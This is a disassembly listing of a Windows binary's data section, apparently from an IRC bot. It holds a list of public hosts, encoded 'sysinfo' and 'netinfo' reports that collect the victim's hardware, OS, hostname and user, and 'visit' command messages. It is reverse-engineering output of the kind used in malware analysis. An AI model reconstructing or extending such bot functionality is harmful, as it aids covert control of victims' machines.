aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A030	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A10C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A140	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A184	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A194	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1A4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A200	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A21C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A258	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A274	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 509845AEh		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset dword_545350	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset dword_544450	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043375Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A48o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384B8o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438324o
dword_4B5248	dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
